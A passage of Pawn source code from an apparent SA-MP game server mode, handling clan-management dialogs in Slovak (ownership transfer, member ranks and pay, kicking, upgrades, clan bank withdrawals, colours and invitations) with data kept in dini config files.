                new P_Plat[16];
                format(P_Plat,16, "P%d_Plat", Player[playerid][Clan_SavePlayerRank]);
                new P_Hodnost[16];
                format(P_Hodnost,16, "P%d_Hodnost", Player[playerid][Clan_SavePlayerRank]);
                new P_Name[16];
                format(P_Name,16, "P%d_Name", Player[playerid][Clan_SavePlayerRank]);

                new Name[24];
                GetPlayerName(playerid, Name, 24);

                new bool:f0098451=false;

                new f0114785[128];
                format(f0114785,128, "{aaaaaa}Nastavil si hráča {c8c8c8}%s{aaaaaa} majiteľom clanu !", dini_Get(cway9f99, P_Name));
                SendClientMessage(playerid, COLOR_RED, f0114785);

                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(!IsPlayerNPC(i))
                        {
                            if(Player[i][ClanP] == Player[playerid][ClanP])
                            {
                                if(Player[i][ClanRank] == Player[playerid][Clan_SavePlayerRank])
                                {
                                    f0098451=true;

                                    new f0064875[128];
                                    format(f0064875,128, "Hráč %s ťa nastavil majiteľom clanu !", Name);
                                    SendClientMessage(i, COLOR_GREEN, f0064875);

                                    Player[playerid][ClanRank] = Player[i][ClanRank];
                                    Player[i][ClanRank]=0;
                                }
                            }
                        }
                    }
                }

                if(f0098451 == false)
                {
                    new pwayXf47[32];
                    format(pwayXf47,32, "SL/%s.cfg", dini_Get(cway9f99, P_Name));

                    if(dini_Exists(pwayXf47))
                    {
                        Player[playerid][ClanRank] = dini_Int(pwayXf47, "ClanRank");
                        dini_IntSet(pwayXf47, "ClanRank", 0);
                    }
                }

                new item11 = dini_Int(cway9f99, "P0_Plat");
                new item12[32];
                format(item12,32, "%s", dini_Get(cway9f99, "P0_Hodnost"));
                new item13[32];
                format(item13,32, "%s", dini_Get(cway9f99, "P0_Name"));
                new item21 = dini_Int(cway9f99, P_Plat);
                new item22[32];
                format(item22,32, "%s", dini_Get(cway9f99, P_Hodnost));
                new item23[32];
                format(item23,32, "%s", dini_Get(cway9f99, P_Name));

                dini_IntSet(cway9f99, "P0_Plat", item21);
                dini_Set(cway9f99, "P0_Hodnost", item22);
                dini_Set(cway9f99, "P0_Name", item23);
                dini_IntSet(cway9f99, P_Plat, item11);
                dini_Set(cway9f99, P_Hodnost, item12);
                dini_Set(cway9f99, P_Name, item13);

                dini_Set(cway9f99, "Majitel", dini_Get(cway9f99, "P0_Name"));

                Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                new c3Dstring[150];
                format(c3Dstring, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway9f99, "Name"), dini_Get(cway9f99, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3Dstring, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);

                Player[playerid][IPIP]=false;
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_P_Hodnost)
        {
            if(response == 1)
            {
                new cway5f90[64];
                format(cway5f90,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new P_Name[16];
                format(P_Name,16, "P%d_Name", Player[playerid][Clan_SavePlayerRank]);

                new f85gt4[128];
                format(f85gt4,128, "%s - Zmeniť plat", dini_Get(cway5f90, P_Name));

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_ClanA_P_Hodnost, DIALOG_STYLE_INPUT, f85gt4, "{ff0000}Nezadal si plat !\n{ffff50}Zadaj hráčovu novu hodnosť:", "Zmeniť", "Cancel");
                else if(strlen(inputtext) > 20) return ShowPlayerDialog(playerid,Dialog_ClanA_P_Hodnost, DIALOG_STYLE_INPUT, f85gt4, "{ff0000}Maximálne 20 znakov !\n{ffff50}Zadaj hráčovu novu hodnosť:", "Zmeniť", "Cancel");
                else
                {
                    new Name[24];
                    GetPlayerName(playerid, Name, 24);

                    new pstringXf2[128];
                    format(pstringXf2,128, "~y~%s~w~ zmenil hracovi ~y~%s~w~ hodnost na:~n~~y~%s", Name, dini_Get(cway5f90, P_Name), inputtext);

                    new P_Hodnost[16];
                    format(P_Hodnost,16, "P%d_Hodnost", Player[playerid][Clan_SavePlayerRank]);

                    dini_Set(cway5f90, P_Hodnost, inputtext);

                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(!IsPlayerNPC(i))
                            {
                                if(Player[playerid][ClanP] == Player[i][ClanP])
                                {
                                    FormatPlayerInfoBox(i, "~g~Clan", pstringXf2, 3000);
                                    Player[i][IPIP]=true;
                                    SetTimerEx("IsPlayerInPickupFalse",3500,0,"i",i);
                                }
                            }
                        }
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_P_Plat)
        {
            if(response == 1)
            {
                new cway5f08[64];
                format(cway5f08,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new P_Name[16];
                format(P_Name,16, "P%d_Name", Player[playerid][Clan_SavePlayerRank]);

                new f80gt4[128];
                format(f80gt4,128, "%s - Zmeniť plat", dini_Get(cway5f08, P_Name));

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_ClanA_P_Plat, DIALOG_STYLE_INPUT, f80gt4, "{ff0000}Nezadal si plat !\n{ffff50}Zadaj hráčov nový plat:", "Zmeniť", "Cancel");
                else if(strval(inputtext) <= 0) return ShowPlayerDialog(playerid,Dialog_ClanA_P_Plat, DIALOG_STYLE_INPUT, f80gt4, "{ff0000}Nemôžeš zadať nulu alebo zápornou hodnotu !\n{ffff50}Zadaj hráčov nový plat:", "Zmeniť", "Cancel");
                else if(strval(inputtext) > 999999) return ShowPlayerDialog(playerid,Dialog_ClanA_P_Plat, DIALOG_STYLE_INPUT, f80gt4, "{ff0000}Maximálně 999 999$ !\n{ffff50}Zadaj hráčov nový plat:", "Zmeniť", "Cancel");
                else
                {
                    new Name[24];
                    GetPlayerName(playerid, Name, 24);

                    new pstringXf8[128];
                    format(pstringXf8,128, "~y~%s~w~ zmenil hracovi ~y~%s~w~ plat na %d$ !", Name, dini_Get(cway5f08, P_Name), strval(inputtext));

                    new P_Plat[16];
                    format(P_Plat,16, "P%d_Plat", Player[playerid][Clan_SavePlayerRank]);

                    dini_IntSet(cway5f08, P_Plat, strval(inputtext));

                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(!IsPlayerNPC(i))
                            {
                                if(Player[playerid][ClanP] == Player[i][ClanP])
                                {
                                    FormatPlayerInfoBox(i, "~g~Clan", pstringXf8, 3000);
                                    Player[i][IPIP]=true;
                                    SetTimerEx("IsPlayerInPickupFalse",3500,0,"i",i);
                                }
                            }
                        }
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_PlayerSettings)
        {
            if(response == 1)
            {
                new cway5f09[64];
                format(cway5f09,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new P_Name[16];
                format(P_Name,16, "P%d_Name", Player[playerid][Clan_SavePlayerRank]);

                new f00gt4[128];

                if(listitem == 0)
                {
                    format(f00gt4,128, "%s - Zmeniť plat", dini_Get(cway5f09, P_Name));
                    ShowPlayerDialog(playerid,Dialog_ClanA_P_Plat, DIALOG_STYLE_INPUT, f00gt4, "{ffff50}Zadaj hráčov nový plat:", "Zmeniť", "Cancel");
                }

                if(listitem == 1)
                {
                    format(f00gt4,128, "%s - Zmeniť hodnost", dini_Get(cway5f09, P_Name));
                    ShowPlayerDialog(playerid,Dialog_ClanA_P_Hodnost, DIALOG_STYLE_INPUT, f00gt4, "{ffff50}Zadaj hráčovu novu hodnost:", "Zmeniť", "Cancel");
                }

                if(listitem == 2)
                {
                    format(f00gt4,128, "%s - Nastavit majiteľom clanu", dini_Get(cway5f09, P_Name));
                    ShowPlayerDialog(playerid,Dialog_ClanA_P_Majitel1, DIALOG_STYLE_MSGBOX, f00gt4, "{ff0000}Si si istý že chceš tohto hráča nastaviť mejiteľom clanu ?!", "Ano", "Cancel");
                }

                if(listitem == 3)
                {
                    if(Player[playerid][Clan_SavePlayerRank] == 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Nemôžeš vyhodiť sám sebe !","OK","");
                    else
                    {
                        new Name[24];
                        GetPlayerName(playerid,Name,24);

                        new string[64];
                        format(string,64, "~y~%s~w~ vyhodil hrace ~y~%s~w~ z clanu !", Name, dini_Get(cway5f09, P_Name));

                        for(new i=0; i<=Server[ConP]; i++)
                        {
                            if(IsPlayerConnected(i))
                            {
                                if(!IsPlayerNPC(i))
                                {
                                    if(Player[playerid][ClanP] == Player[i][ClanP])
                                    {
                                        FormatPlayerInfoBox(i, "~g~Clan", string, 2750);
                                        Player[i][IPIP]=true;
                                        SetTimerEx("IsPlayerInPickupFalse",3000,0,"i",i);
                                    }
                                }
                            }
                        }

                        //------------------------------------------------------

                        new bool:IsTargetPlayerConnected=false;

                        for(new i=0; i<=Server[ConP]; i++)
                        {
                            if(IsPlayerConnected(i))
                            {
                                if(!IsPlayerNPC(i))
                                {
                                    if(Player[i][ClanP] == Player[playerid][ClanP])
                                    {
                                        if(Player[i][ClanRank] == Player[playerid][Clan_SavePlayerRank])
                                        {
                                            IsTargetPlayerConnected=true;
                                            OnPlayerLeaveClan(i);

                                            new LeaveMessage[128];
                                            format(LeaveMessage,128, "%s ťa vyrazil z clanu !", Name);
                                            SendClientMessage(i, COLOR_RED, LeaveMessage);
                                        }
                                    }
                                }
                            }
                        }

                        if(IsTargetPlayerConnected == false)
                        {
                            new pwayXf70[32];
                            format(pwayXf70,32, "SL/%s.cfg", dini_Get(cway5f09, P_Name));

                            dini_IntSet(pwayXf70, "Clan", 9999);
                            dini_IntSet(pwayXf70, "ClanRank", 9999);
                            dini_IntSet(pwayXf70, "Team", 0);

                            for(new q=Player[playerid][Clan_SavePlayerRank]; q<12; q++)
                            {
                                new oP_Plat[16];
                                new oP_Hodnost[16];
                                new oP_Name[16];
                                new nP_Plat[16];
                                new nP_Hodnost[16];
                                new nP_Name[16];

                                format(oP_Plat,16, "P%d_Plat", q);
                                format(oP_Hodnost,16, "P%d_Hodnost", q);
                                format(oP_Name,16, "P%d_Name", q);
                                format(nP_Plat,16, "P%d_Plat", (q+1));
                                format(nP_Hodnost,16, "P%d_Hodnost", (q+1));
                                format(nP_Name,16, "P%d_Name", (q+1));

                                dini_IntSet(cway5f09, oP_Plat, dini_Int(cway5f09, nP_Plat));
                                dini_Set   (cway5f09, oP_Hodnost, dini_Get(cway5f09, nP_Hodnost));
                                dini_Set   (cway5f09, oP_Name, dini_Get(cway5f09, nP_Name));
                            }

                            Clan[Player[playerid][ClanP]][Players]--;
                            dini_IntSet(cway5f09, "Players", Clan[Player[playerid][ClanP]][Players]);
                        }

                        for(new q=0; q<12; q++)
                        {
                            new CyclusPlayerName[64];
                            format(CyclusPlayerName,64, "P%d_Name", q);

                            new CyclusPlayerWay[64];
                            format(CyclusPlayerWay,64, "SL/%s.cfg", dini_Get(cway, CyclusPlayerName));

                            if(dini_Exists(CyclusPlayerWay))
                            {
                                dini_IntSet(CyclusPlayerWay, "ClanRank", q);
                            }
                        }

                        for(new i=0; i<=Server[ConP]; i++)
                        {
                            if(IsPlayerConnected(i))
                            {
                                if(Player[i][ClanP] == Player[playerid][ClanP])
                                {
                                    new CPway[32], CPName[24];
                                    GetPlayerName(i, CPName, 24);
                                    format(CPway, 32, "SL/%s.cfg", CPName);
                                   
                                    if(playerid != i) Player[i][ClanRank] = dini_Int(CPway, "ClanRank");
                                }
                            }
                        }
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_PlayersSettings)
        {
            if(response == 1)
            {
                Player[playerid][IPIP]=true;

                new cway5f09[64];
                format(cway5f09,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                Player[playerid][Clan_SavePlayerRank] = listitem;

                new P_Name[16];
                format(P_Name,16, "P%d_Name", listitem);

                ShowPlayerDialog(playerid,Dialog_ClanA_PlayerSettings,DIALOG_STYLE_LIST, dini_Get(cway5f09, P_Name), "Zmeniť plat\nZmeniť hodnosť\nNastaviť majiteľom clanu\nVyhodiť", "OK", "Cancel");
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_Upgrades)
        {
            if(response == 1)
            {
                Player[playerid][IPIP]=true;

                new cway1f00[64];
                format(cway1f00,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new clanidXf01 = Player[playerid][ClanP];

                if(listitem == 0)
                {
                    if(Clan[clanidXf01][Bank] < 1000000) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}V clanu nie je dostatok peňazi (min 1 000 000$) !","OK","");
                    else if(Clan[clanidXf01][Vehicles] >= 5) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Clan môže mať maximálne 5 parkovacích miest !","OK","");
                    else
                    {
                        FormatPlayerInfoBox(playerid, "~g~Clan", "~w~Pridal si 1 parkovacie miesto !", 4000);

                        SetTimerEx("IsPlayerInPickupFalse", 4500, 0, "i", playerid);

                        Clan[clanidXf01][Vehicles]++;
                        dini_IntSet(cway1f00, "Vehicles", Clan[clanidXf01][Vehicles]);

                        Clan[clanidXf01][Bank]-=1000000;
                        dini_IntSet(cway1f00, "Bank", Clan[clanidXf01][Bank]);

                        Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                        new c3DstringXf04[150];
                        format(c3DstringXf04, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway1f00, "Name"), dini_Get(cway1f00, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                        Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3DstringXf04, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);
                    }
                }

                if(listitem == 1)
                {
                    if(Clan[clanidXf01][Bank] < 250000) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}V clanu nie je dostatok peňazi (min 250 000$) !","OK","");
                    else if(Clan[clanidXf01][WeaponSlots] >= 8) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Clan môže mať maximálne 8 weapon slotov !","OK","");
                    else
                    {
                        FormatPlayerInfoBox(playerid, "~g~Clan", "~w~Pridal si 1 weapon slot !", 4000);

                        SetTimerEx("IsPlayerInPickupFalse", 4500, 0, "i", playerid);

                        Clan[clanidXf01][WeaponSlots]++;
                        dini_IntSet(cway1f00, "WeaponSlots", Clan[clanidXf01][WeaponSlots]);

                        Clan[clanidXf01][Bank]-=250000;
                        dini_IntSet(cway1f00, "Bank", Clan[clanidXf01][Bank]);

                        Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                        new c3DstringXf04[150];
                        format(c3DstringXf04, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway1f00, "Name"), dini_Get(cway1f00, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                        Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3DstringXf04, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);
                    }
                }

                if(listitem == 2)
                {
                    ShowPlayerDialog(playerid,Dialog_ClanA_UpgrdIntList,DIALOG_STYLE_LIST,"Zmeniť interiér sídla","24 / 7 (100 000$)\nSmall Bar (750 000$)\nBig Bar (1 500 000$)\nRestauration (2 000 000$)\nWar House (3 000 000$)\nLuxus (5 000 000$)","Zmeniť","Cancel");
                }

                if(listitem == 3)
                {
                    new V_id[16];
                    format(V_id,16, "V%d_id", (Clan[clanidXf01][Vehicles] - 1));

                         if(dini_Int(cway1f00, V_id) != 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Nemôžeš odobrať parkovacie miesto na ktorom je zakupene vozidlo !","OK","");
                    else if(Clan[clanidXf01][Vehicles] <= 1) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Môže byť minimálna 1 parkovacie miesto !","OK","");
                    else
                    {
                        FormatPlayerInfoBox(playerid, "~g~Clan", "~w~Odobral si 1 parkovacie miesto !", 4000);

                        SetTimerEx("IsPlayerInPickupFalse", 4500, 0, "i", playerid);

                        Clan[clanidXf01][Vehicles]--;
                        dini_IntSet(cway1f00, "Vehicles", Clan[clanidXf01][Vehicles]);
                    }
                }

                if(listitem == 4)
                {
                    if(Clan[clanidXf01][WeaponSlots] <= 3) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Mužou být minimálně 3 weapon sloty !","OK","");
                    else
                    {
                        FormatPlayerInfoBox(playerid, "~g~Clan", "~w~Odobral si 1 weapon slot !", 4000);

                        SetTimerEx("IsPlayerInPickupFalse", 4500, 0, "i", playerid);

                        Clan[clanidXf01][WeaponSlots]--;
                        dini_IntSet(cway1f00, "WeaponSlots", Clan[clanidXf01][WeaponSlots]);
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_UpgrdIntList)
        {
            if(response == 1)
            {
                new cway98f0[64];
                format(cway98f0,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new intid = listitem;
                new price;

                if(listitem == 0) price = 100000;
                if(listitem == 1) price = 750000;
                if(listitem == 2) price = 1500000;
                if(listitem == 3) price = 2000000;
                if(listitem == 4) price = 3000000;
                if(listitem == 5) price = 5000000;

                if(Clan[Player[playerid][ClanP]][Bank] < price) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}V clanu nie je dostatok peňazí !","OK","");
                else
                {
                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(playerid))
                        {
                            if(!IsPlayerNPC(i))
                            {
                                if(GetPlayerVirtualWorld(playerid) == Clan[Player[playerid][ClanP]][cVWID])
                                {
                                    SetPlayerPos(playerid, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ]);
                                    SetPlayerVirtualWorld(i, 0);
                                    SetPlayerInterior(i, 0);
                                }
                            }
                        }
                    }

                    Clan[Player[playerid][ClanP]][cInterior] = intid;
                    dini_IntSet(cway98f0, "Interior", intid);

                    Clan[Player[playerid][ClanP]][Bank]-=price;
                    dini_IntSet(cway98f0, "Bank", Clan[Player[playerid][ClanP]][Bank]);

                    if(Clan[Player[playerid][ClanP]][cInterior] == 0) //24-7
                    {
                        Clan[Player[playerid][ClanP]][cpiX] = -27.049;
                        Clan[Player[playerid][ClanP]][cpiY] = -56.755;
                        Clan[Player[playerid][ClanP]][cpiZ] = 1003.549;
                        Clan[Player[playerid][ClanP]][cIntID] = 6;
                    }
                    else if(Clan[Player[playerid][ClanP]][cInterior] == 1) //bar 1
                    {
                        Clan[Player[playerid][ClanP]][cpiX] = -228.868;
                        Clan[Player[playerid][ClanP]][cpiY] = 1401.141;
                        Clan[Player[playerid][ClanP]][cpiZ] = 27.768;
                        Clan[Player[playerid][ClanP]][cIntID] = 18;
                    }
                    else if(Clan[Player[playerid][ClanP]][cInterior] == 2) //bar 2
                    {
                        Clan[Player[playerid][ClanP]][cpiX] = 501.936;
                        Clan[Player[playerid][ClanP]][cpiY] = -68.261;
                        Clan[Player[playerid][ClanP]][cpiZ] = 998.765;
                        Clan[Player[playerid][ClanP]][cIntID] = 11;
                    }
                    else if(Clan[Player[playerid][ClanP]][cInterior] == 3) //restauration
                    {
                        Clan[Player[playerid][ClanP]][cpiX] = 377.164;
                        Clan[Player[playerid][ClanP]][cpiY] = -178.254;
                        Clan[Player[playerid][ClanP]][cpiZ] = 1000.641;
                        Clan[Player[playerid][ClanP]][cIntID] = 17;
                    }
                    else if(Clan[Player[playerid][ClanP]][cInterior] == 4) //war house
                    {
                        Clan[Player[playerid][ClanP]][cpiX] = 2807.259;
                        Clan[Player[playerid][ClanP]][cpiY] = -1174.359;
                        Clan[Player[playerid][ClanP]][cpiZ] = 1025.581;
                        Clan[Player[playerid][ClanP]][cIntID] = 8;
                    }
                    else if(Clan[Player[playerid][ClanP]][cInterior] == 5) //double stairs
                    {
                        Clan[Player[playerid][ClanP]][cpiX] = 2324.490;
                        Clan[Player[playerid][ClanP]][cpiY] = -1148.906;
                        Clan[Player[playerid][ClanP]][cpiZ] = 1050.723;
                        Clan[Player[playerid][ClanP]][cIntID] = 12;
                    }

                    Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                    new c3DstringXf02[150];
                    format(c3DstringXf02, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway98f0, "Name"), dini_Get(cway98f0, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                    Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3DstringXf02, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);

                    FormatPlayerInfoBox(playerid, "~g~Clan", "~w~Zmenil si interier clanu!", 3000);
                    Player[playerid][IPIP]=true;
                    SetTimerEx("IsPlayerInPickupFalse", 3500, 0, "i", playerid);
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_GetClanBank)
        {
            if(response == 1)
            {
                new cway22f8[64];
                format(cway22f8,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new XXXf0014[256];

                if(!strlen(inputtext))
                {
                    format(XXXf0014,256, "{ff0000}Nezadal si sumu !\n{ffff50}Aktuálny stav konta: %d$\nZadaj sumu ktoru chceš vybrať z clanu:", Clan[Player[playerid][ClanP]][Bank]);
                    return ShowPlayerDialog(playerid,Dialog_ClanA_GetClanBank,DIALOG_STYLE_INPUT,"Vybrat peníze u účtu clanu", XXXf0014,"Vybrat","Cancel");
                }
                else if(strval(inputtext) <= 0)
                {
                    format(XXXf0014,256, "{ff0000}Nemôžeš zadať nulu alebo zápornou hodnotu !\n{ffff50}Aktuálni stav konta: %d$\nZadaj sumu ktoru chceš vybraťt z clanu:", Clan[Player[playerid][ClanP]][Bank]);
                    return ShowPlayerDialog(playerid,Dialog_ClanA_GetClanBank,DIALOG_STYLE_INPUT,"Vybrat peníze u účtu clanu", XXXf0014,"Vybrat","Cancel");
                }
                else if(strval(inputtext) > Clan[Player[playerid][ClanP]][Bank])
                {
                    format(XXXf0014,256, "{ff0000}V clanu nie je dostatok peňazi !\n{ffff50}Aktuálny stav konta: %d$\nZadaj sumu ktoru chceš vybrať z clanu:", Clan[Player[playerid][ClanP]][Bank]);
                    return ShowPlayerDialog(playerid,Dialog_ClanA_GetClanBank,DIALOG_STYLE_INPUT,"Vybrať peniaze u účtu clanu", XXXf0014,"Vybrat","Cancel");
                }
                else
                {
                    GivePlayerACMoney(playerid, strval(inputtext));

                    Clan[Player[playerid][ClanP]][Bank] -= strval(inputtext);
                    dini_IntSet(cway22f8, "Bank", Clan[Player[playerid][ClanP]][Bank]);

                    format(XXXf0014,256, "{00b800}Vybral si z clanu %d$ !\n{ffff50}Aktuálny stav konta: %d$\nZadaj sumu ktoru chceš vybrať z clanu:", strval(inputtext), Clan[Player[playerid][ClanP]][Bank]);
                    ShowPlayerDialog(playerid,Dialog_ClanA_GetClanBank,DIALOG_STYLE_INPUT,"Vybrať peniaze u účtu clanu", XXXf0014,"Vybrat","Cancel");

                    Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                    new c3DstringXf08[150];
                    format(c3DstringXf08, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway22f8, "Name"), dini_Get(cway22f8, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                    Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3DstringXf08, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_ChangeClanColor)
        {
            if(response == 1)
            {
                new cway43f3[64];
                format(cway43f3,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new color;

                if(listitem == 0) color = COLOR_BLACK;
                if(listitem == 1) color = COLOR_WHITE;
                if(listitem == 2) color = COLOR_GRAY;
                if(listitem == 3) color = COLOR_YELLOW;
                if(listitem == 4) color = COLOR_YELLOW_LIGHT;
                if(listitem == 5) color = COLOR_GREEN;
                if(listitem == 6) color = COLOR_GREEN_DARK;
                if(listitem == 7) color = COLOR_GREEN_LIGHT;
                if(listitem == 8) color = COLOR_PURPLE;
                if(listitem == 9) color = COLOR_PINK;
                if(listitem == 10) color = COLOR_BLUE;
                if(listitem == 11) color = COLOR_BLUE_DARK;
                if(listitem == 12) color = COLOR_BROWN;
                if(listitem == 13) color = COLOR_CYAN;
                if(listitem == 14) color = COLOR_ORANGE;

                dini_IntSet(cway43f3, "Color", color);

                SendClientMessage(playerid, color, "Zmenil si farbu clanu");

                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(!IsPlayerNPC(i))
                        {
                            if(Player[i][ClanP] == Player[playerid][ClanP])
                            {
                                SetPlayerColor(i, color);
                            }
                        }
                    }
                }

                Player[playerid][IPIP]=false;
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_InvitePlayer)
        {
            if(response == 1)
            {
                new cway42f3[64];
                format(cway42f3,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new id = strval(inputtext);

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_ClanA_InvitePlayer,DIALOG_STYLE_INPUT,"Prizvať hráča do clanu","{ff0000}Nezadal si ID !\n{ffff50}Zadaj ID hráča:","Prizvať","Cancel");
                else if(dini_Int(cway42f3, "Players") >= 12) return ShowPlayerDialog(playerid,Dialog_ClanA_InvitePlayer,DIALOG_STYLE_INPUT,"Prizvať hráča do clanu","{ff0000}Clan má už maximálny počet členov !\n{ffff50}Zadaj ID hráča:","Prizvať","Cancel");
                else if(!IsPlayerConnected(id)) return ShowPlayerDialog(playerid,Dialog_ClanA_InvitePlayer,DIALOG_STYLE_INPUT,"Prizvať hráča do clanu","{ff0000}Tento hráč nie je pripojený !\n{ffff50}Zadaj ID hráča:","Prizvať","Cancel");
                else if(IsPlayerNPC(id)) return ShowPlayerDialog(playerid,Dialog_ClanA_InvitePlayer,DIALOG_STYLE_INPUT,"Prizvať hráča do clanu","{ff0000}Tohle je NPC !\n{ffff50}Zadaj ID hráča:","Prizvať","Cancel");
                else if(Player[id][ClanP] != 9999) return ShowPlayerDialog(playerid,Dialog_ClanA_InvitePlayer,DIALOG_STYLE_INPUT,"Prizvať hráča do clanu","{ff0000}Tento hráč už je v nejakom clane !\n{ffff50}Zadaj ID hráča:","Prizvať","Cancel");
                else
                {
                    new cstring[256];
                    new Name[24];
                    GetPlayerName(playerid, Name, 24);
                    new Name2[24];
                    GetPlayerName(id, Name2, 24);

                    format(cstring,128, "{ffff50}Prizval si hráča {ffff00}%s (%d){ffff50} do clanu !\nPočkaj na jeho odpoveď !", Name2, id);
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box", cstring, "OK", "");

                    Player[id][Clan_SaveClanID] = Player[playerid][ClanP];
                    Player[id][Clan_SavePlayerRank] = playerid;

                    format(cstring,256,"{ffff50}Hráč {ffff00}%s (%d){ffff50} ťa požiadal aby si vstupil do jeho clanu:\n{ffff00}%s\n\n{ff0000}Chceš vstupiť do tohto clanu?", Name, playerid, dini_Get(cway42f3, "Name"));
                    ShowPlayerDialog(id,Dialog_ClanInviteMe,DIALOG_STYLE_MSGBOX,"Ponuka pre prijatie do clanu", cstring, "Nie", "Ano");
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanInviteMe)
        {

            new Name[24];
